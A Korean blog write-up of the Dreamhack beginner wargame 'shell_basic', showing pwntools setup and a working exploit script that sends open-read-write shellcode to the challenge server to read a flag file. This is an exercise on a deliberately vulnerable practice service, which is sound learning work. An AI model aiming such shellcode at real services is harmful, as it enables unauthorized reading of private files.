Iriton's log

[Dreamhack] Beginner: shell_basic 본문

Pwnable/Wargame

[Dreamhack] Beginner: shell_basic

Iriton 2024. 4. 1. 19:43

Description

입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.

 

 

풀이

우선 문제 파일에 있는 c코드부터 봤다.

main함수만 보라고 했으니 확인해 봤다.

 

read 함수를 사용하며, 일반입력을 이용한다. 첫번째 인자의 0은 stdin을 의미한다.

 

강의에서 /tmp/flag처럼 파일 데이터를 읽어냈는데 이때 배운 orw shellcode를 작성해야 할 거 같다.

근데 이전 강의에서 배운 쉘코드를 직접 작성하여 실행하는 것이 너무 복잡할 거 같았다.

그러다 그 강의 초반에 pwntools를 배운 게 생각이 났다.

pwntools는 시스템 해킹에 쓰이는 파이썬 모듈인데 익스플로잇 제작을 더욱 간단하게 할 수 있다.

 

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

우분투 환경에서 설치하는 방법은 위와 같다.

 

pwntools를 사용한 익스플로잇 스크립트에 대해 먼저 공부해 보자.

 

#!/usr/bin/env python3
from pwn import *

# Make TCP connection
r = remote('127.0.0.1', 31337)

# Build payload
payload = b''
payload += b'Socket script'
payload += b'\n'

# Send payload
r.send(payload)

# Print received data
data = r.recv(1024)
print(f'Received: {data}')

해당 코드는 로컬 서버의 31337포트에 TCP 연결을 시도하고,

payload 변수에 담긴 페이로드를 전송한 후 서버로부터 온 응답 1024byte만큼 출력한다.

 

해당 접속 정보를 이용하면 되겠다.

 

from pwn import *

r = remote('host3.dreamhack.games',10926)

# 어셈블리 코드가 생성될 목표 아키텍처 지정 amd64는 x86_64 아키텍처를 의미
context.arch = "amd64"

f = "/home/shell_basic/flag_name_is_loooooong"

payload = ''
payload += shellcraft.open(f) # 파일 열기

# 파일에서 데이터를 읽기 위한 쉘 코드
# rax 레지스터에 저장된 fd가 있음
# rsp에 데이터를 0x100만큼 읽음
payload += shellcraft.read('rax','rsp',0x100)

# 표준출력(stdout, fd=1)로 스택에 있는 0x100만큼의 데이터를 fd 1로 전송
payload += shellcraft.write(1,'rsp',0x100)

print(r.recv()) # 서버로부터 응답 받기
r.sendline(asm(payload)) # 어셈블리 코드를 바이너리로 번역
print(r.recv()) # 두 번째 응답 받기

 

Comments